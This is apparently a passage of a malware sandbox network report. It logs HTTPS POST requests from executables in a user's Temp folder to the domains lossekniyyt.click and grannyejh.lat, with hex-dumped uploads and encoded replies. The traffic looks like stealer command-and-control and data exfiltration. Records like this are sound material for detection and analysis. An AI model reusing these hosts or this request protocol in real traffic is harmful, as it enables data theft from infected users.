                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC15331OUTData Raw: 69 98 18 40 d9 54 6f 7d 3b 5f e6 fa 71 51 10 6c 25 43 8c fb 91 a0 03 ae 05 dc bb a1 c3 73 bc 9b a2 9c a3 bc a0 f9 ff 61 79 39 24 9a 00 c1 55 29 f8 37 80 d5 f1 7f 0e 94 0c 94 40 54 5e 35 84 55 53 8c 06 94 d6 66 ce 0e 46 00 fa ab b9 aa 64 23 06 6b ae 26 c5 12 a1 4c 3b 25 ad 85 80 4d 52 ba 7d 0e 0e 44 05 6f 7e 4c b9 4b dc 6b f2 81 26 a0 9d 8c 0e dd c3 71 73 66 4c af c6 e8 a0 dd 1e 05 33 e4 b2 d5 99 b9 6b 68 c1 da 5b 86 e9 2d e9 45 6b 99 9f b5 51 2b d2 1e 0c 1f f4 4d bb 6e 14 25 75 3d ab bb 4f a4 f5 bc 70 39 d7 67 55 61 38 ce 77 40 28 d0 60 fe 58 a7 ff da 5f 31 e1 f7 52 cb f7 c1 14 d8 88 0f a8 4c 3a 77 5a 4d 40 d3 a7 19 27 09 8b a2 e0 5b 09 8e c9 96 18 b6 7e 7a 22 a8 44 ce 1a 22 8d 35 d4 7d 49 6a e3 8c 19 ba 96 fd f3 38 c2 ff 72 4b 72 a8 49 68 48 1f cf e9 bd
                                                                                                                                                                                                                                                            Data Ascii: i@To};_qQl%Csay9$U)7@T^5USfFd#k&L;%MR}Do~LKk&qsfL3kh[-EkQ+Mn%u=Op9gUa8w@(`X_1RL:wZM@'[~z"D"5}Ij8rKrIhH
                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC15331OUTData Raw: aa cd ea f3 0c a1 09 38 30 d1 77 fb b2 15 f5 18 28 90 7d c2 2b 19 1e 72 89 bb 20 f1 6c 70 81 ad e2 d3 4d 5e 8b 0e 9c af c3 0d a2 85 f4 99 9c df 65 09 e5 ff 59 be be 2b 59 5e 70 0d e0 27 fd bf 7b fc 33 20 66 e5 f0 ab 4d 6f 4e df aa d2 e9 5d 14 41 c6 20 b9 2f 0d 54 ea 59 82 3b cd 7a 0b 63 24 00 f7 2c ad e3 d2 fd 67 1c ab 9f 7f da 9e b8 e4 38 ce 29 5e 35 29 f3 69 e8 f7 5c 7d af 35 30 db ad f9 41 a5 bf d4 b4 ee f3 ac ef dc 04 18 f6 60 1b fc dc c3 99 f6 67 ad 9a be ae 74 3c 93 f6 cb 33 f0 b6 c3 51 50 e5 61 8a 03 ac 17 60 fe 6d 0e 04 b8 89 e8 e0 df f7 82 4f 80 f9 01 c4 1d 9f 07 89 d3 80 b1 8a 66 e4 7d d6 42 4c 10 19 c5 b8 7b 82 f4 7f 83 59 b9 f7 49 8a b4 2f 38 80 70 0a c9 b6 dd 9c 53 a0 47 89 aa c6 03 c4 56 af ed 96 6f 92 4b 86 6a 96 b7 57 0d 2a 55 cb 81 e5 1a
                                                                                                                                                                                                                                                            Data Ascii: 80w(}+r lpM^eY+Y^p'{3 fMoN]A /TY;zc$,g8)^5)i\}50A`gt<3QPa`mOf}BL{YI/8pSGVoKjW*U
                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC15331OUTData Raw: 7e eb ce 54 f2 df ef fe de d4 f8 7e a6 aa 65 8f 17 f3 f2 9b 56 fe 19 d9 22 9d 52 82 36 9a a0 4a f3 eb 4f 02 34 f3 34 d1 1b bf b4 3d 73 f7 7a cd 5f a0 88 a4 8b 55 75 2d f3 74 3f d3 cf 0b fb c7 ac 18 ae 5e 74 1b c6 ab 0e e9 2a bc aa c8 6e de f9 ac f6 ef 43 37 1f a1 73 24 0d fd c1 7f 49 a4 8d ba 37 f7 30 84 c5 22 99 35 88 be 57 6d 0f 5f e5 b1 9b 35 5e c7 9d ee 9c 3a e2 b5 78 a7 c5 9c d6 3b f1 4f d6 5d d8 5f 69 0c 60 f4 66 8f b3 fd 3c ed d6 bc 5e 9f f9 bb 0c 0f 62 cf da 85 4d a9 54 5a c8 0a 8e ab be f3 9c 3c ca 91 cc 2c 3f e7 e8 d0 83 ae 68 fb fa 80 6d 1a 2f dc 65 4d 17 67 35 ef 89 a9 fe cb df ec 97 a8 6d ef 7e 7d d2 c4 36 06 83 42 f1 09 68 52 32 31 6f 8a 7a 39 c1 0e 1a c5 77 14 14 10 3d d4 51 b4 1b 14 0a 55 38 ac f6 15 2d 42 f2 6f 90 27 41 b0 d6 b9 73 36 6d
                                                                                                                                                                                                                                                            Data Ascii: ~T~eV"R6JO44=sz_Uu-t?^t*nC7s$I70"5Wm_5^:x;O]_i`f<^bMTZ<,?hm/eMg5m~}6BhR21oz9w=QU8-Bo'As6m
                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC15331OUTData Raw: 11 7f 2b 85 fe 4c 76 30 44 2c 15 5f fc 15 26 cb f1 21 8f 6f 88 c7 f1 b5 9a fa 95 44 1d b2 97 2d fc c1 c2 d0 cc de b1 01 f1 1c 39 ff 9f 13 18 ff fb a0 07 ba 1f 71 e7 65 63 fe c6 83 00 34 e8 73 87 e6 4f 70 81 29 56 fe 0a 50 6d 55 4e 82 c4 7b 3f be bd 5d 71 04 98 6d d6 1f 43 d1 4e fc fc 49 bb 9c b8 51 1f d4 2f 84 1f fe 70 db 40 87 e5 a6 d2 5d ca c2 af 68 e9 5a bc 2e ef 9c 13 bb 25 c2 97 62 09 f0 f4 89 ab b0 13 be 41 94 1e ff 91 3f bd 19 65 68 33 9a 01 2c d2 24 96 2e d1 33 f3 01 27 90 d8 78 2b cc 21 b8 7b a5 e7 eb 2a c9 9e 8e ee 43 55 c4 8d c9 49 ee 12 30 b3 3f d7 05 05 73 f1 a8 82 37 1f cd 27 a0 0b 5c d8 b5 17 3f 2b 92 47 32 3d 29 cd 8b f9 6d 0e d5 06 a1 06 11 d4 44 11 bc e7 f1 f4 52 96 12 36 a4 48 c6 1a 4a 77 07 45 ae 4e ef 7f f3 c7 92 aa 0d 80 1e ad f2 45
                                                                                                                                                                                                                                                            Data Ascii: +Lv0D,_&!oD-9qec4sOp)VPmUN{?]qmCNIQ/p@]hZ.%bA?eh3,$.3'x+!{*CUI0?s7'\?+G2=)mDR6HJwENE
                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC15331OUTData Raw: 3e 77 d0 ef 1b dd 3c dd 82 62 55 c9 6b a1 bd 78 de 12 30 2d c9 10 92 eb 72 1b 1c b1 30 bf 56 09 a8 3a 3b 71 f9 40 9f f0 af 28 5d 2f 53 ce 19 bd 3d ee d0 d3 85 ff dc cc f5 77 80 7a 4b 56 23 61 06 13 87 94 4d 95 8b 66 89 13 a3 af 1b 5b 8c 2a 08 4d 88 15 e1 5a 9a 9c 54 3c fa 66 47 fd a2 d1 ab c3 4e 1b f6 92 3d 1d 48 3c ca 50 e4 07 d3 41 93 41 5d 18 95 36 07 91 46 2d ad 05 f3 14 aa 8e 98 c5 00 8c e0 64 6e 92 1b c6 ba cb 28 1f ad 71 5d 3e 24 51 4d 2a f8 ca b2 61 b1 73 23 f9 de 65 a9 10 f7 90 a8 18 76 af 33 f7 b2 d1 0a cb 88 1e f7 6b 2b a8 94 2f 41 ee 14 c9 a3 a3 21 c7 a8 ac 15 41 5f d2 e7 81 44 68 f4 34 23 7f 8c 08 07 79 30 6e ae 76 b5 b0 1f 2f 08 b0 4f f2 dc 23 02 a2 33 b8 36 3f 28 e4 50 ea 86 07 43 ac be 32 2d 4f dc 6d 66 cc 1d cc 9f 29 88 3e d6 f6 67 3f 27
                                                                                                                                                                                                                                                            Data Ascii: >w<bUkx0-r0V:;q@(]/S=wzKV#aMf[*MZT<fGN=H<PAA]6F-dn(q]>$QM*as#ev3k+/A!A_Dh4#y0nv/O#36?(PC2-Omf)>g?'
                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC15331OUTData Raw: d0 aa 63 3d 5b 17 cd 38 21 c1 6b d7 e2 76 f9 15 5c c1 cb 22 3f fd 64 57 17 f8 bf 2b 68 fd fa ad 7a f3 d6 40 c4 86 21 51 20 5c 58 cc a2 2c 2e fe f9 c6 73 d9 0d f5 48 da 3f b9 6f a7 16 23 d5 8d 75 0e 50 68 7b 25 e4 9e 94 36 bc 36 0e 0b db b1 66 10 f0 b7 47 62 1e a0 72 1b 98 e9 c7 a0 9c 53 e8 c5 e1 c3 9d 87 40 75 a4 ed f3 ff b5 40 48 f9 7b e0 50 33 1a 38 60 d3 c6 39 7b af ff 3d 52 ca 86 f3 e1 91 34 63 2b 3f 05 c2 72 b7 f8 84 9d 7f e3 ef 17 f9 c5 ac 99 18 1d 0f 5a f7 42 57 d1 ac 38 45 f8 f0 d2 74 94 b3 10 50 1d d7 92 24 e5 9d a4 ff 20 32 1f da ba 27 65 95 83 78 45 98 23 36 8e be ae 94 58 f7 a8 54 c2 ae fd c2 3c 44 c8 88 40 45 fa ae 89 23 fa 9e 50 1c 58 e2 4f b7 b8 47 e5 b4 81 df 46 e7 e1 07 ab 45 c8 94 ec 76 8b 18 bb bb bc 2a e6 89 86 92 ff 10 c4 44 a4 ad 27
                                                                                                                                                                                                                                                            Data Ascii: c=[8!kv\"?dW+hz@!Q \X,.sH?o#uPh{%66fGbrS@u@H{P38`9{=R4c+?rZBW8EtP$ 2'exE#6XT<D@E#PXOGFEv*D'
                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC15331OUTData Raw: 02 41 0a 6f 76 f5 de a5 08 03 d8 17 5b bf 5b 76 30 ba ee c9 65 be ab ef 9b 67 91 f7 84 63 15 74 1b f6 1d 1f 75 9c 65 d0 34 e1 f1 e6 af f3 9f 90 f5 f8 32 6f 24 2c 7e 1a f2 fc aa 0b ee 12 65 b8 77 89 11 8e be e0 e6 f0 11 5f b3 a7 34 4d d6 93 98 dc 7d 5c 8e 8a 41 7e 08 6e b8 72 61 a4 fe d4 7a e2 b3 3b 59 ea 9b 77 3f 19 2c b0 ff 7c 43 d0 f5 01 e3 6c 89 f0 1e 3d b0 ce e6 d2 e3 85 b1 02 75 9f 7f ce 6e 02 18 93 d1 f3 16 75 c9 b4 9e cd 09 6b 18 5e 9d 2e d1 04 15 3c 6f e8 30 02 7e ae f8 67 72 62 21 d6 63 fe 41 73 99 90 a1 98 61 49 02 f7 3f ff 4f ed 01 0e d3 e3 5f f5 c0 28 d1 15 5a fa 49 49 1a 6d 77 86 6b 8f 1b 2a de 25 fb a6 e2 30 5a f6 1b 6c f9 f4 04 6e 3b 0b 56 91 a2 38 8f 7a d6 cd f2 93 c4 79 d3 8b 51 83 21 c7 cd 37 30 b1 a5 7c 0f 1b 85 e6 47 31 d5 6c 98 14 17
                                                                                                                                                                                                                                                            Data Ascii: Aov[[v0egctue42o$,~ew_4M}\A~nraz;Yw?,|Cl=unuk^.<o0~grb!cAsaI?O_(ZIImwk*%0Zln;V8zyQ!70|G1l
                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC15331OUTData Raw: 0c 49 47 68 a6 f5 d1 02 aa 1c 4a 18 85 58 f1 07 2d 35 3e 4f 62 11 33 1a 68 f6 7d 6f ca 47 99 34 04 0b b3 fe 80 f4 67 c1 0a 00 c3 3c df 98 c6 15 4f 02 d5 03 92 a4 38 4c e1 5c 52 1e 89 9b 6b 6e bb 20 32 94 97 9f 8e a4 5f ae 96 6a 4f 3e 72 32 56 4c 8a 92 bc 80 5b c7 f5 66 ed 95 d1 a9 e5 bd 99 59 13 cb 87 8b a2 4b 7f d9 4b cf 22 58 9a 90 dd 12 6c 4d 7f 27 75 38 be 8a 9a 31 74 3f a5 c1 42 ac 09 25 52 c9 b6 8d 33 b1 1b 80 29 c9 6b ae c9 0b 9d 3e 29 59 cf a9 87 4e a8 09 dd 3f d2 9e 55 70 a6 06 69 cd 6f c5 78 c0 d4 d1 55 f9 e5 f3 56 e9 86 77 8d 88 e2 61 ea fa 05 7c 24 a1 97 c1 9c 9b 7e 1f 89 ed e5 ec 1f 43 d6 e3 50 52 9a 1b a6 bb 57 55 82 fa 29 6a 2d ec 7c 3b 9a 04 0c 75 20 ce 4d fa df fe 7f 29 67 80 f1 c0 fe f5 ab 06 c9 13 c5 67 b6 5f 63 00 e7 f6 31 c6 20 18 96
                                                                                                                                                                                                                                                            Data Ascii: IGhJX-5>Ob3h}oG4g<O8L\Rkn 2_jO>r2VL[fYKK"XlM'u81t?B%R3)k>)YN?UpioxUVwa|$~CPRWU)j-|;u M)gg_c1
                                                                                                                                                                                                                                                            2024-12-19 00:09:44 UTC15331OUTData Raw: 60 84 9d 50 0b 35 d4 02 bb fe 7e da ee a9 35 ae ad 49 17 63 23 3d f3 0c 7f c1 19 88 18 63 5c 44 0b 7b e8 c0 e5 02 07 10 16 6e 1d 49 6e 7b f2 80 b4 aa 68 07 7b f1 97 0d c7 49 05 39 de 5e fd 26 a0 86 40 76 5b 31 14 dd 59 18 26 87 fa 62 99 e8 f5 31 f5 a6 b0 8f e3 af ae 17 38 43 e9 0e 2e 4a 62 2e 30 c5 49 66 de bc 37 aa 49 f5 6a 75 78 70 34 fb 90 5c ac 4f 34 20 ac a9 8f 25 78 6d 59 0f d5 bc e6 4f fd e3 3c 48 8d 05 75 7f b2 54 68 84 ef 71 f1 86 a1 86 e5 2c 3f 99 36 86 e4 59 47 53 c3 60 5c 46 9a 0f 6e 7a 88 c1 9a 5c 3d df 84 83 40 fc bc cf 99 7f 65 b3 b7 6c 0e 7e dd c2 83 9f c2 d9 73 75 5a 07 4f 66 e3 18 8d f2 74 e9 54 c4 97 e7 82 64 07 72 cc 93 91 a8 8d dd 14 1c 5f 4c 39 eb a0 cc df c1 e1 a4 4c 3c 2b 4a ec 11 1a b8 f5 2f 2e c1 46 e5 dc 45 b1 d7 9e e4 27 91 5d
                                                                                                                                                                                                                                                            Data Ascii: `P5~5Ic#=c\D{nIn{h{I9^&@v[1Y&b18C.Jb.0If7Ijuxp4\O4 %xmYO<HuThq,?6YGS`\Fnz\=@el~suZOftTdr_L9L<+J/.FE']
                                                                                                                                                                                                                                                            2024-12-19 00:09:47 UTC1056INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:47 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=r6ku2d5hvp7su6ub1rdo6tukfp; expires=Sun, 13-Apr-2025 17:56:25 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2VHroEgqRQIYir23T8SsSeGsrhQg6%2FYvaL299yttfypfR%2ByLEiGj09efN5LUlfi46vC03eq3RMF%2FeXaKS22zXEitjS3rzvP7UgoVdyLbyisVwJL3%2FJ%2Fnnu8TB%2F%2F0BUqBR5plmg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432a687ab54232-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=2128&min_rtt=2120&rtt_var=812&sent=260&recv=593&lost=0&retrans=0&sent_bytes=2843&recv_bytes=571723&delivery_rate=1333942&cwnd=214&unsent_bytes=0&cid=55d7620adc61d1ff&ts=2604&x=0"


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            8192.168.2.549907104.21.12.884433472C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:09:48 UTC265OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 77
                                                                                                                                                                                                                                                            Host: lossekniyyt.click
                                                                                                                                                                                                                                                            2024-12-19 00:09:48 UTC77OUTData Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 5a 31 63 79 63 2d 2d 26 6a 3d 26 68 77 69 64 3d 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45
                                                                                                                                                                                                                                                            Data Ascii: act=get_message&ver=4.0&lid=9Z1cyc--&j=&hwid=9B23A9306BAD098FAC8923850305D13E
                                                                                                                                                                                                                                                            2024-12-19 00:09:49 UTC1036INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:49 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=fm58bki8usnkrb3j5sp0nthuva; expires=Sun, 13-Apr-2025 17:56:28 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n3CoiFM8s22iaQU%2FR78Nbw0S3VPEWBXAQ8rjeJlHSLV30IlDGAga4CcKzgR54kp4uzWu3ZQiV5s7RPlO7W5Zlz2spXCxjctyWJjELKU8Ry9r63e2OmOYTEtd2Q4lDaDhTV8yEw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432a80f8b118c4-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1512&min_rtt=1507&rtt_var=575&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=978&delivery_rate=1887524&cwnd=169&unsent_bytes=0&cid=18c488a7bcbcfda7&ts=722&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:09:49 UTC54INData Raw: 33 30 0d 0a 59 2b 67 74 48 6f 70 35 6a 61 64 45 4d 45 4d 30 48 42 6f 64 73 42 68 55 2f 32 6d 72 2f 45 79 4f 38 6b 61 52 50 64 58 4e 76 33 67 34 74 51 3d 3d 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 30Y+gtHop5jadEMEM0HBodsBhU/2mr/EyO8kaRPdXNv3g4tQ==
                                                                                                                                                                                                                                                            2024-12-19 00:09:49 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            9192.168.2.549915172.67.179.1094435360C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:09:51 UTC260OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 8
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:09:51 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                            Data Ascii: act=life
                                                                                                                                                                                                                                                            2024-12-19 00:09:52 UTC1117INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:52 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=ggjvcmm7nvup2oikbjs1a5klsb; expires=Sun, 13 Apr 2025 17:56:31 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lnHO5J2sZwelIqbxW9Zg749e7E3YpWfK2k3ZMLx%2BRdCpCQJ0%2F8D9M9YkHJVzMWSBUdlkCj0ivwAZsxfoCchbG3xx6hN1b3VH85FXU2v4iVOTRw2L5eKA%2BFm2VjESo28T"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432a94ef3942bc-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1628&min_rtt=1627&rtt_var=613&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1782661&cwnd=225&unsent_bytes=0&cid=a8524bfb501d64de&ts=830&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:09:52 UTC7INData Raw: 32 0d 0a 6f 6b 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 2ok
                                                                                                                                                                                                                                                            2024-12-19 00:09:52 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            10192.168.2.549923172.67.179.1094435360C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:09:53 UTC261OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 47
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:09:53 UTC47OUTData Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d
                                                                                                                                                                                                                                                            Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
                                                                                                                                                                                                                                                            2024-12-19 00:09:54 UTC1117INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:09:54 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=seklv01t7vskml1h3sfq9051d3; expires=Sun, 13 Apr 2025 17:56:33 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AgYTxCvLYhIyxVW9QBipCJUEXREquccbSmx3BS5YUksXU7MVUAucv55K6fgr29945U2ZY2ezVZV61SWO9MVmSQeKIj%2FJozgP3s%2FANtCjyRlQqVqL5Kz%2B3ifucyLiBRck"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432aa1b9b4f797-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1632&min_rtt=1630&rtt_var=615&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=944&delivery_rate=1773997&cwnd=161&unsent_bytes=0&cid=ff656492caa7c5cf&ts=823&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:09:54 UTC252INData Raw: 33 35 30 36 0d 0a 79 76 6f 4f 46 4c 42 65 64 4a 2f 66 70 57 65 5a 47 62 6c 43 4f 65 72 5a 6a 30 42 50 35 4d 64 43 49 71 77 42 4e 7a 6c 78 6f 67 61 78 32 48 67 32 69 6d 70 59 76 61 7a 41 52 61 4e 74 79 7a 64 63 78 76 76 75 4a 47 33 65 6f 53 4e 4f 33 32 51 62 47 77 66 50 4a 50 43 63 62 33 6a 44 4f 31 69 39 75 74 31 46 6f 30 4c 43 59 46 79 45 2b 37 56 69 4b 6f 36 6c 49 30 37 4f 59 46 78 57 41 63 35 6c 6f 70 5a 70 66 4e 55 39 45 50 36 7a 79 41 4c 38 66 4e 67 6f 56 34 4f 30 35 79 31 74 79 4f 55 6e 57 49 34 37 46 58 51 55 31 6d 65 48 6d 33 31 2f 6b 69 4e 59 35 50 33 41 43 62 73 6a 6d 79 4e 63 69 4c 58 70 4a 43 53 4d 72 79 70 47 7a 32 56 64 53 52 6a 45 62 71 4b 59 61 6e 33 66 4e 41 54 7a 75 63 38 4a 2b 6e 62 59 59 42 58 49 76 50 56 69 64 63 62 32 45 6b
                                                                                                                                                                                                                                                            Data Ascii: 3506yvoOFLBedJ/fpWeZGblCOerZj0BP5MdCIqwBNzlxogax2Hg2impYvazARaNtyzdcxvvuJG3eoSNO32QbGwfPJPCcb3jDO1i9ut1Fo0LCYFyE+7ViKo6lI07OYFxWAc5lopZpfNU9EP6zyAL8fNgoV4O05y1tyOUnWI47FXQU1meHm31/kiNY5P3ACbsjmyNciLXpJCSMrypGz2VdSRjEbqKYan3fNATzuc8J+nbYYBXIvPVidcb2Ek
                                                                                                                                                                                                                                                            2024-12-19 00:09:54 UTC1369INData Raw: 50 66 63 6b 42 57 41 38 59 6b 74 39 5a 31 4e 74 55 77 56 71 58 39 7a 77 6e 31 66 74 67 76 58 49 6d 37 2f 79 30 74 68 61 30 6f 52 4d 52 73 57 6c 51 64 79 6d 4f 67 6b 57 74 35 31 54 51 51 38 72 36 48 53 37 74 38 77 32 41 44 79 4a 76 39 49 53 36 53 71 44 45 41 30 53 31 4d 47 78 54 4d 4a 50 44 59 61 6e 6a 54 4d 52 62 76 74 63 77 4f 2f 6d 6e 51 4b 56 61 46 75 2b 41 6f 49 6f 57 6c 4a 30 72 45 62 46 39 66 48 73 31 69 71 4a 67 73 4f 4a 49 37 44 72 33 6c 68 79 62 2b 61 39 77 73 54 63 71 42 72 54 31 6a 6e 2b 55 6e 54 49 34 37 46 56 4d 57 77 32 65 6a 6c 32 39 2b 32 53 34 57 37 37 76 4b 41 4f 6c 39 33 69 35 52 69 36 6e 6e 4c 43 75 46 72 43 74 4a 79 32 52 52 47 31 32 41 59 37 44 59 4e 44 62 7a 4d 52 33 78 74 39 41 46 75 32 53 56 4f 52 75 50 74 36 31 36 62 59 4b 6b 4a
